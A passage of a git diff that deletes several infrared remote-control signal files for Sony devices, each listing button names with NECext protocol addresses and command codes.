1A E2 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 1A 00 00 00 -# -name: SCAN_BACK -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 1B 00 00 00 -# -name: SCAN_FORWARD -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 1C 00 00 00 -# -name: POPUP_MENU -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 29 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 2C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 2E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 2F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 33 00 00 00 -# -name: NAV_UP -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 39 00 00 00 -# -name: NAV_DOWN -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 3A 00 00 00 -# -name: NAV_LEFT -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 3B 00 00 00 -# -name: NAV_RIGHT -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 3C 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 3D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 41 00 00 00 -# -name: SYSTEM_MENU -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 42 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 43 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 4B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 50 00 00 00 -# -name: STEP_BACK -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 53 00 00 00 -# -name: STEP_FORWARD -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 54 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 56 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 57 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 63 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 64 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 65 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 71 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 1A E2 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir deleted file mode 100644 index c0ef11b83..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 15 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 30 00 00 00 -# -name: preset+ -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 3D 00 00 00 -# -name: preset- -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 3E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 48 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 49 00 00 00 -# -name: bright -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 4B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 60 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 6F 00 00 00 -# -name: hd-scan -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 70 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 71 00 00 00 -# -name: tune+ -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 73 00 00 00 -# -name: tune- -type: parsed -protocol: NECext -address: 1A 13 00 00 -command: 74 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir deleted file mode 100644 index 57ee300e4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0E 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 15 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 16 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: SCAN_BACKWARD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 22 00 00 00 -# -name: SCAN_FORWARD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 23 00 00 00 -# -name: TIME_TEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 28 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 -# -name: TV_DVD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 51 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 54 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 64 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 65 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir deleted file mode 100644 index 8b34fdbaf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0E 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 15 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 16 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 22 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 23 00 00 00 -# -name: time/text -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 28 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 -# -name: bnr -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 48 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 4B 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 53 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 54 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5A 00 00 00 -# -name: instant-replay -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 64 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 65 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir deleted file mode 100644 index 65437ecde..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0E 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 15 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 16 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1F 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 22 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 23 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 28 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 -# -name: bnr -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 48 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 4B 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 54 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5A 00 00 00 -# -name: ir -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 64 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 65 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir deleted file mode 100644 index efdbc9c10..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0E 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0F 00 00 00 -# -name: I/O -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 15 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 16 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1F 00 00 00 -# -name: SEARCH/STEP_reverse -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 20 00 00 00 -# -name: SEARCH/STEP_forward -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 21 00 00 00 -# -name: SCAN/SLOW_reverse -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 22 00 00 00 -# -name: SCAN/SLOW_forward -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 23 00 00 00 -# -name: TIME/TEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 -# -name: BNR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 48 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 54 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5A 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 64 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 65 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir deleted file mode 100644 index b5d586df2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 1A F1 00 00 -command: 26 00 00 00 -# -name: BTN_TRIGGER -type: parsed -protocol: NECext -address: 1A F1 00 00 -command: 2D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A F1 00 00 -command: 38 00 00 00 -# -name: BTN_SELECT -type: parsed -protocol: NECext -address: 1A F1 00 00 -command: 39 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1A F1 00 00 -command: 3A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1A F1 00 00 -command: 3B 00 00 00 -# -name: BTN_LEFT -type: parsed -protocol: NECext -address: 1A F1 00 00 -command: 3E 00 00 00 -# -name: BTN_RIGHT -type: parsed -protocol: NECext -address: 1A F1 00 00 -command: 3F 00 00 00 -# -name: BTN_EXTRA -type: parsed -protocol: NECext -address: 1A F1 00 00 -command: 47 00 00 00 -# -name: KEY_T -type: parsed -protocol: NECext -address: 1A F1 00 00 -command: 4A 00 00 00 -# -name: KEY_W -type: parsed -protocol: NECext -address: 1A F1 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir deleted file mode 100644 index d85224eb6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1D 00 00 00 -# -name: AUTO_TRACKING -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 27 00 00 00 -# -name: SEARCH_REW -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 28 00 00 00 -# -name: SEARCH_FF -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 29 00 00 00 -# -name: TV/VTR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2A 00 00 00 -# -name: FRAME -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 31 00 00 00 -# -name: TRACK_UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 44 00 00 00 -# -name: TRACK_DOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 45 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 46 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 4C 00 00 00 -# -name: QUICK_TIMER -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 52 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 61 00 00 00 -# -name: TIMER_CLEAR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 63 00 00 00 -# -name: TIMER_CHECK -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 64 00 00 00 -# -name: TIMER_SET -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 64 00 00 00 -# -name: TIMER_REC -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 65 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir deleted file mode 100644 index 36ff980fe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1B 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1D 00 00 00 -# -name: search_left -type: parsed 